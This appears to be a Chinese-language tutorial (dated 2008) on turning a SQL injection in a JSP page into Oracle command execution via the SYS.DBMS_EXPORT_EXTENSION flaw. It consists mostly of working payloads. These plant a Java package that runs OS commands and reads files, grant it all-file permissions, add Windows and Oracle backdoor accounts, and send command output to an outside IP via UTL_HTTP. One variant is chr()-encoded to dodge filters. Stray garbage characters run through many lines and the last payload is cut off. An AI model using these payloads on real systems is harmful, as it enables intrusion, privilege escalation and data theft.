实例演示oracle注入获取cmdshell的全过程

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以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成

. B9 P6 R: k- G/ k% z$ K& M% T6 w　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
; I/ r! F, W* s: w2 B' ]的形式即可。(用" 'a'|| "是为了让语句返回true值)
语句有点长，可能要用post提交。
) v& b# }3 h" h) p以下是各个步骤：
. X- }$ n% c0 _) k! ~; [1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
/xxx.jsp?id=1 and '1'<>'a'||(
" k: g6 L; M+ A$ T  N) e8 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
9 ~4 T3 n( B) a$ s" h. c8 V; |new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
- G* p: d* e6 ?6 C- v" J$ \}'''';END;'';END;--','SYS',0,'1',0) from dual
)
------------------------
4 O7 p+ v8 D# V) H  w% h- P如果url有长度限制，可以把readFile()函数块去掉，即：
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ J( m6 L4 Z( m* U9 M; ~$ O9 l+ zcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
$ ]& J6 b- S% A, k2 L. \+ J' t+ ~new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
& T5 u5 G* j7 J$ n同时把后面步骤 提到的 对readFile()的处理语句去掉。
' n$ n. [9 J+ |8 `" x/ u3 i- B------------------------------
2.赋Java权限
  j+ v" V2 Z' H3 G1 e4 h# j* {) fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建函数
) F9 B1 Q  O4 ]* C- E8 `: Jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: f0 ]$ g: S* @) icreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
. K/ Z$ o. f0 V" l4.赋public执行函数的权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
9 L5 {3 g. S: l2 }" gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
5.测试上面的几步是否成功
  `# v* J8 @0 u+ l) M- Oand '1'<>'11'||(
& _0 A1 i9 L# i0 G8 f% z. U% Nselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.执行命令：
! }# x: w+ K  k2 D  N7 b2 e/xxx.jsp?id=1 and '1'<>(
/ N' G& _# E/ Iselect  sys.LinxRunCMD('cmd /c net user linx /add') from dual

)
: `  c) }- N2 ?8 t) N- |0 c5 }/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
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2 u. p4 j3 g' n4 F) f2 O)
8 \! x4 \: K7 k  Q+ s. l' [　　
8 ?! P/ c9 q- u/ r* U+ l注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
1 q# T$ B* V2 d! |$ I) S如果要查看运行结果可以用 union :
! N5 i7 D8 ~; ~4 ~' K" h. l, t/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)
+ Y2 I5 G6 j+ @( R. `/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
--------------------
! G* I4 D8 [) r  S" c( |6.内部变化
# @) x7 K- }' K3 r2 e3 Q通过以下命令可以查看all_objects表达改变：
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.删除我们创建的函数
, f; m+ ?5 ~" Y: U' |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
====================================================
8 a0 N/ b5 w) G; f0 n- w7 S( s& w全文结束。谨以此文赠与我的朋友。
linx
+ c4 O. Y. G; o& Q9 A  F% L124829445
6 R0 O, o: U# [2 u2008.1.12
linyujian@bjfu.edu.cn
/ ]2 o4 c, H  ?6 U======================================================================
# C' i( E! u$ v" e) ^1 g( j测试漏洞的另一方法：
1 s1 `( S: g* Q3 M7 P创建oracle帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ W5 a. p5 @# {, F. }, J+ nCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
( h9 _' u4 b  h+ F即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
确定漏洞存在：
1<>(
select user_id from all_users where username='LINXSQL'
)
给linxsql连接权限：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 W3 g5 t4 t( I5 L6 Q% U0 [) YGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
- |, I+ g# F+ Q  W% l% |删除帐号：
/ u+ W  W  @: T0 O& Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
2 v! f7 c4 M" i; H! }( Y======================
+ M$ t4 E# j) k: ]以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
- T  i* h- x' \+ @* T3 o& z% e1.jsp?id=1 and '1'<>(
6 i" @' X# s* v! Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
2 I! X$ ?1 b3 D8 E2 n　)

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